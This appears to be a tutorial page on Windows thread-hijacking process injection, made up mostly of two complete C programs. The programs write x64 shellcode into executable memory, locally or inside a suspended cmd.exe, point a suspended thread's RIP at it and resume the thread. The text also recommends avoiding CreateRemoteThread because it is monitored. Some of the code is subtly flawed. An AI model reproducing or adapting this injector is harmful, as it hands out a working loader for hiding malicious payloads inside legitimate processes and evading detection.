Hijacking a Local Thread
The steps to hijacking a local thread are as follows:
1.) Copy payload into a RWX buffer.
2.) Get a thread context that you want to hijack using the GetThreadContext() WinAPI or NT API equivalent. IMPORTANT: The thread must be in a suspended state.
3.) Set the Rip
register to point to our buffer address
4.) Set the thread context using SetThreadContext() WINAPI or NTAPI equivilant.
5.) ResumeThread()
NOTE: In this example we are creating our own dummy thread in a suspended state. To suspend a thread, use SuspendThread(). Main threads cannot be Hijacked!
Copy #include <stdio.h>
#include <wchar.h>
#include <windows.h>
// x64 Calc Shellcode
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int fakeFunction() {
wprintf(L"This is a fake function!");
}
int wmain(void) {
// Start by Sacrificial Thread creating thread. Thread hijacking has to be performed on a Suspened Thread
HANDLE hThread = NULL;
LPVOID lpBuffer = NULL;
lpBuffer = VirtualAlloc(0, sizeof(Payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpBuffer == NULL) {
wprintf(L"Failed To Allocate Buffer %d\n", GetLastError());
}
memcpy(lpBuffer, Payload, sizeof(Payload));
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&fakeFunction, NULL, CREATE_SUSPENDED, NULL);
if (hThread == NULL) {
wprintf(L"Failed to Create Thread %d\n", GetLastError());
return -1;
}
CONTEXT lpThreadContext;
if (!GetThreadContext(hThread, &lpThreadContext)) {
wprintf(L"Failed Get Thread Context %d\n", GetLastError());
return -1;
}
lpThreadContext.Rip = lpBuffer;
if (!SetThreadContext(hThread, &lpThreadContext)) {
wprintf(L"Failed to Resume Thread %d\n", GetLastError());
return -1;
}
ResumeThread(hThread);
getchar();
// Cleanup
VirtualFree(lpBuffer, 0, MEM_RELEASE);
CloseHandle(hThread);
return 0;
}
Hijacking a Remote Thread
Like we did for hijacking a local thread, we will create a dummy thread in a remote process. We can do this with CreateRemoteThread but it's a highly abused and monitored WINAPI function. Instead, we will use CreateProcess
Copy BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
Some important notes on CreateProcess :
lpApplicationName:
Is the file name of the executable to open. Example : cmd.exe
lpCommandLine:
The parameters for the specified lpApplicationName. Alternatively it can be the full file path w/ parameters. Example: C:/Windows/System32/cmd.exe /k whoami
Hijacking The Remote Thread
Once we have our Process and Thread handles from CreateDummyProcess(), we can allocate a remote buffer and copy our shellcode to it.
After our shellcodes been copied to our victim process we grab the thread context and assign the buffer address to the Rip
register before callin SetThreadContext
and ResumeThread
.
WaitForSingleObject
sets our thread into an alertable state. This prevents the thread from prematurely closing.
Copy #include <stdio.h>
#include <wchar.h>
#include <windows.h>
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int wmain() {
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
DWORD dProcessId, dThreadId = 0;
LPVOID lpRemoteBuffer = NULL;
CONTEXT lpThreadContext;
if (!CreateDummyProcess(&hProcess, &hThread, &dProcessId, &dThreadId)) {
wprintf("Failed to Create Dummy Process %d\n");
return -1;
}
wprintf(L"Created Process: %d\n", dProcessId);
// Allocate Remote Buffer in Dummy Process
lpRemoteBuffer = VirtualAllocEx(hProcess, 0, sizeof(Payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpRemoteBuffer == NULL) {
wprintf(L"Failed to Allocate Remote Buffer %d\n", GetLastError());
return -1;
}
// Copy x65 Calc Shellcode to Remote Buffer
if (!WriteProcessMemory(hProcess, lpRemoteBuffer, Payload, sizeof(Payload), NULL)) {
wprintf(L"Failed to Copy Shellcode to Remote Buffer %d\n", GetLastError());
return -1;
}
// Get Thread Context
if (!GetThreadContext(hThread, &lpThreadContext)) {
wprintf(L"Failed to Get Thread Context %d\n", GetLastError());
return -1;
}
lpThreadContext.Rip = lpRemoteBuffer;
if (!SetThreadContext(hThread, &lpThreadContext)) {
wprintf(L"Failed to Set Thread Context %d\n", GetLastError());
return -1;
}
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
getchar();
return 0;
}
BOOL CreateDummyProcess(OUT HANDLE* hProcess, OUT HANDLE* hThread, OUT DWORD* dProcessId, OUT DWORD* dThreadId) {
WCHAR wPath [MAX_PATH * 2];
WCHAR wWinDir [MAX_PATH];
BOOL isProcessCreated = FALSE;
STARTUPINFO lpStartupInfo = { 0 };
PROCESS_INFORMATION lpProcessInfo = { 0 };
RtlSecureZeroMemory(&lpStartupInfo, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&lpProcessInfo, sizeof(PROCESS_INFORMATION));
// Set the size of the strucure
lpStartupInfo.cb = sizeof(STARTUPINFO);
// Getting the value of the %WINDIR% environment variable
if (!GetEnvironmentVariableW(L"WINDIR", wWinDir, MAX_PATH)) {
printf("GetEnvironmentVariableW Failed %d\n", GetLastError());
return FALSE;
}
wsprintf(wPath, L"%s\\System32\\%s", wWinDir, L"cmd.exe");
// Creating the full target process path
isProcessCreated = CreateProcessW(
NULL,
wPath,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&lpStartupInfo,
&lpProcessInfo
);
if (!isProcessCreated) {
wprintf(L"Failed to Create Process %d\n", GetLastError());
return FALSE;
}
// Dereference and assign values.
*hProcess = lpProcessInfo.hProcess;
*hThread = lpProcessInfo.hThread;
*dProcessId = lpProcessInfo.dwProcessId;
*dThreadId = lpProcessInfo.dwThreadId;
return TRUE;
}